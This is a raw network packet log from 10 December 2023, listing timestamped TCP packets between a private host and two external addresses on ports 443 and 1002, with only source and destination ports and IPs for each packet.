Dec 10, 2023 17:48:07.584108114 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584117889 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584158897 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.584191084 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584338903 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584373951 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.584378958 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584414959 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584450006 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.584455967 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584556103 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584593058 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.584598064 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584682941 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.584717989 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.584731102 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.588963032 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589015961 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.589030027 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589149952 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589185953 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.589190960 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589302063 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589390039 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.589396954 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589459896 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589502096 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.589508057 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589747906 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589787006 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.589792013 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589860916 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.589900970 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.589906931 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590042114 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590075970 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.590080976 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590183020 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590203047 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590221882 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.590229034 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590265036 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.590301037 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590444088 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590478897 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.590485096 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590698957 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590733051 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.590738058 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590830088 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590869904 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.590876102 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.590969086 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591005087 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.591011047 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591198921 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591242075 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.591247082 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591348886 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591382027 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.591387987 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591523886 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591561079 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.591567039 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591710091 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591748953 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.591754913 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591914892 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.591952085 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.591960907 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592109919 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592144966 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.592150927 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592323065 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592359066 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.592365980 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592508078 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592542887 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.592550993 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592757940 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592797995 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.592806101 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592906952 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.592962980 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.592967987 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593091011 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593136072 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.593141079 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593246937 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593281984 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.593288898 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593440056 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593477964 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.593485117 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593554974 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593591928 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.593599081 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593672991 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593708992 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.593714952 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593847036 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593887091 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.593892097 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.593996048 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594016075 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594032049 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.594038010 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594072104 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.594105959 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594332933 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594367981 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.594377995 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594522953 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594554901 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.594559908 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594715118 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594752073 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.594758034 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594822884 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594856977 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.594862938 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.594973087 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.595015049 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.595020056 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.595112085 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.595150948 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.595156908 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.595305920 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.595344067 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.595350027 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.595446110 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.595498085 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.595503092 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.595652103 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.595690012 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.595696926 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597244978 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597284079 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.597296953 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597390890 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597425938 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.597433090 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597574949 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597610950 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.597615004 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597692966 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597714901 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597724915 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.597732067 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597767115 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.597801924 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597939968 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.597973108 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.597980022 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.598495007 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.598515987 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.598531961 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.598537922 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.598546028 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.598576069 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.598581076 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.598612070 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.598675966 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.598823071 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.598855972 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.598862886 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.598973989 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599009991 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.599019051 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599144936 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599179029 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.599184990 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599371910 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599407911 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.599415064 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599529028 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599565029 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.599574089 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599698067 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599731922 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.599737883 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599868059 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.599905014 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.599911928 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.600038052 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.600073099 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.600079060 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.632318974 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.632337093 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.632370949 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.632443905 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.632492065 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.632550955 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.632569075 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.638098955 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.638156891 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.638175011 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.638211966 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.638235092 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.638252020 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.638448954 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.638489008 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.638498068 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.641618967 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.641642094 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.641671896 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.641681910 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.641721010 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.641727924 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.641807079 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.641830921 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.641844034 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.641849041 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.641880989 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.641889095 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.641985893 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642019987 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642019987 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.642029047 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642059088 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.642183065 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642322063 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642348051 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642358065 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.642365932 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642398119 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.642456055 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642544031 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642579079 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.642585993 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642721891 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.642761946 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.642769098 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.644010067 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.644084930 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.644279003 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.644334078 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.686790943 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.686842918 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707711935 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707741022 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707765102 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707797050 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707818031 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707833052 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.707854986 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707871914 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.707882881 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707911015 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707920074 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.707926989 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707954884 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.707962036 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.707967997 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708005905 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708013058 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708080053 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708108902 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708112955 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708117962 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708153009 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708158016 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708163977 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708199024 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708206892 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708213091 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708235025 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708254099 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708260059 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708283901 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708297014 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708302021 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708331108 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708343983 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708348989 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708375931 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708389044 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708395004 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708432913 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708440065 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708509922 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708544016 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708548069 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708554029 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.708590031 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.708595991 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.749329090 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.756202936 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.756220102 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.756234884 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.756339073 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.756382942 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.756413937 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.756447077 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.756447077 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.756468058 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.756834030 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.756925106 CET	1002	49716	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.780879021 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.780913115 CET	1002	49719	195.62.52.164	192.168.2.6
Dec 10, 2023 17:48:07.827399015 CET	49719	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.848876953 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.848988056 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.849128008 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.849203110 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.849226952 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849245071 CET	49716	1002	192.168.2.6	195.62.52.164
Dec 10, 2023 17:48:07.849291086 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.849359989 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.849368095 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849378109 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849421024 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849438906 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.849446058 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849455118 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849473000 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.849478006 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849550009 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.849555016 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849565029 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849586964 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849602938 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.849622965 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.849714041 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850119114 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850167990 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850209951 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850231886 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850246906 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850260019 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850269079 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850272894 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850286007 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850296974 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850303888 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850316048 CET	49717	443	192.168.2.6	68.180.135.252
Dec 10, 2023 17:48:07.850322008 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850336075 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850349903 CET	443	49717	68.180.135.252	192.168.2.6
Dec 10, 2023 17:48:07.850353003 CET	49717	443	192.168.2.6	68.180.135.252
